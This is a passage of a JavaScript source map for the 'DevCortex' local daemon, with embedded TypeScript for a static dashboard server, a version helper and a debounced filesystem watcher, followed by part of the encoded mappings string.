}\n\n const relative = decoded.replace(/^\\/+/, '');\n const requested = relative === '' ? 'index.html' : relative;\n const candidate = path.resolve(distDir, requested);\n\n // Path-traversal guard: the resolved target must stay within distDir.\n if (candidate !== distDir && !candidate.startsWith(distDir + path.sep)) {\n return { status: 403, contentType: 'text/plain; charset=utf-8', body: 'Forbidden.' };\n }\n\n // 1. Serve the concrete asset when it exists.\n const asset = await tryReadFileBuffer(candidate);\n if (asset !== null) {\n return { status: 200, contentType: contentTypeFor(candidate), body: asset };\n }\n\n // 2. SPA fallback: any unmatched route resolves to the app shell.\n const shell = await tryReadFileBuffer(path.join(distDir, 'index.html'));\n if (shell !== null) {\n return { status: 200, contentType: 'text/html; charset=utf-8', body: shell };\n }\n\n // 3. No build present at all → placeholder.\n return placeholder();\n}\n\n/** Minimal standalone page shown when the dashboard build is unavailable. */\nexport function placeholder(): StaticResponse {\n const body = `<!doctype html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n <title>DevCortex daemon</title>\n <style>\n body { font: 14px/1.6 ui-sans-serif, system-ui, sans-serif; max-width: 42rem; margin: 4rem auto; padding: 0 1.25rem; color: #1a1a1a; }\n code { background: #f2f2f2; padding: 0.1rem 0.35rem; border-radius: 4px; }\n a { color: #2563eb; }\n </style>\n </head>\n <body>\n <h1>DevCortex daemon is running</h1>\n <p>The local dashboard build was not found, so this placeholder is served instead.</p>\n <p>The JSON API is live — try <a href=\"/api/health\">/api/health</a>.</p>\n <p>To see the dashboard, build <code>@devcortex/local-dashboard</code> (or set <code>DEVCORTEX_DASHBOARD_DIST</code> to its built <code>dist</code> directory) and reload.</p>\n </body>\n</html>\n`;\n return { status: 200, contentType: 'text/html; charset=utf-8', body };\n}\n","/**\n * Resolve this package's own version for the `/api/health` payload.\n *\n * The version is read from the sibling `package.json` at runtime (relative to\n * this module's URL) rather than imported/bundled, so it always reflects the\n * installed package and never drifts from a compile-time constant. Both build\n * outputs (`dist/index.js`, `dist/main.js`) sit directly in `dist/`, so\n * `../package.json` resolves to the package root in production; under vitest the\n * same relative walk from `src/` resolves the same file.\n */\nimport { readFileSync } from 'node:fs';\n\nlet cached: string | undefined;\n\nexport function daemonVersion(): string {\n if (cached !== undefined) return cached;\n try {\n const url = new URL('../package.json', import.meta.url);\n const parsed: unknown = JSON.parse(readFileSync(url, 'utf8'));\n if (\n typeof parsed === 'object' &&\n parsed !== null &&\n 'version' in parsed &&\n typeof (parsed as { version: unknown }).version === 'string'\n ) {\n cached = (parsed as { version: string }).version;\n return cached;\n }\n } catch {\n // fall through to the safe default\n }\n cached = '0.0.0';\n return cached;\n}\n","/**\n * Repo watcher: debounced, single-flight re-scan of the project graph.\n *\n * On any relevant filesystem change we (re)schedule a scan ~`debounceMs` later,\n * coalescing bursts (editor saves, `git checkout`, installs) into one scan.\n * A scan runs `scanProject` and persists the result via `saveGraph`, so\n * `/api/graph` and every graph-derived surface stay fresh without the client\n * polling a scan endpoint.\n *\n * Loop-safety: the ENTIRE `.cortex/` directory is ignored — not just\n * `.cortex/cache`. `saveGraph` writes `.cortex/graph.json`, so watching any part\n * of `.cortex/` would make each scan trigger the next one indefinitely. Ignoring\n * `.cortex/` wholesale is a superset of the spec's `.cortex/cache` and is the\n * only correct choice for a watcher that writes into the tree it watches.\n */\nimport path from 'node:path';\n\nimport { watch } from 'chokidar';\nimport type { FSWatcher } from 'chokidar';\n\nimport { saveGraph, scanProject } from '@devcortex/core';\nimport type { ProjectGraph } from '@devcortex/core';\n\n/** Directory names ignored anywhere in the tree (heavy or generated). */\nconst IGNORED_DIRS = new Set(['node_modules', '.git', 'dist', '.next']);\n\n/** Default debounce window for coalescing change bursts (milliseconds). */\nexport const DEFAULT_DEBOUNCE_MS = 300;\n\nexport interface WatcherOptions {\n /** debounce window in ms (default {@link DEFAULT_DEBOUNCE_MS}) */\n debounceMs?: number;\n /** invoked after each successful re-scan with the fresh, persisted graph */\n onRescan?: (graph: ProjectGraph) => void;\n /** invoked when a scan or the watcher itself errors (non-fatal; logged upstream) */\n onError?: (err: unknown) => void;\n}\n\n/** A running watcher handle. */\nexport interface RepoWatcher {\n /** stop watching and cancel any pending scan */\n close(): Promise<void>;\n}\n\n/**\n * Build the chokidar ignore predicate for `root`. Returns `true` for paths that\n * must NOT be watched. Uses the function form (chokidar v4 dropped glob strings).\n */\nexport function makeIgnoreMatcher(root: string): (candidate: string) => boolean {\n const cortexDir = path.join(root, '.cortex');\n return (candidate: string): boolean => {\n const abs = path.resolve(candidate);\n if (abs === cortexDir || abs.startsWith(cortexDir + path.sep)) return true;\n for (const segment of abs.split(path.sep)) {\n if (IGNORED_DIRS.has(segment)) return true;\n }\n return false;\n };\n}\n\n/**\n * Start watching `root`. The initial scan is NOT performed here (the caller owns\n * ensuring a graph exists at startup); we only react to subsequent changes.\n */\nexport function startWatcher(root: string, options: WatcherOptions = {}): RepoWatcher {\n const debounceMs = options.debounceMs ?? DEFAULT_DEBOUNCE_MS;\n\n let timer: NodeJS.Timeout | undefined;\n let scanning = false;\n let pending = false;\n let closed = false;\n\n const runScan = async (): Promise<void> => {\n if (closed) return;\n if (scanning) {\n // A scan is already in flight; remember that more changes arrived so we\n // run exactly one more scan afterwards (single-flight + coalescing).\n pending = true;\n return;\n }\n scanning = true;\n try {\n const graph = await scanProject(root);\n if (closed) return;\n await saveGraph(root, graph);\n options.onRescan?.(graph);\n } catch (err) {\n options.onError?.(err);\n } finally {\n scanning = false;\n if (pending && !closed) {\n pending = false;\n schedule();\n }\n }\n };\n\n const schedule = (): void => {\n if (closed) return;\n if (timer !== undefined) clearTimeout(timer);\n timer = setTimeout(() => {\n timer = undefined;\n void runScan();\n }, debounceMs);\n // Never keep the process alive solely for a pending scan.\n timer.unref();\n };\n\n const watcher: FSWatcher = watch(root, {\n ignored: makeIgnoreMatcher(root),\n ignoreInitial: true,\n persistent: true,\n // Coalesce editor \"atomic save\" (write temp + rename) into a single event.\n awaitWriteFinish: { stabilityThreshold: 150, pollInterval: 50 },\n });\n\n watcher.on('add', schedule);\n watcher.on('change', schedule);\n watcher.on('unlink', schedule);\n watcher.on('addDir', schedule);\n watcher.on('unlinkDir', schedule);\n watcher.on('error', (err) => options.onError?.(err));\n\n return {\n async close(): Promise<void> {\n closed = true;\n if (timer !== undefined) {\n clearTimeout(timer);\n timer = undefined;\n }\n await watcher.close();\n },\n };\n}\n"],"mappings":"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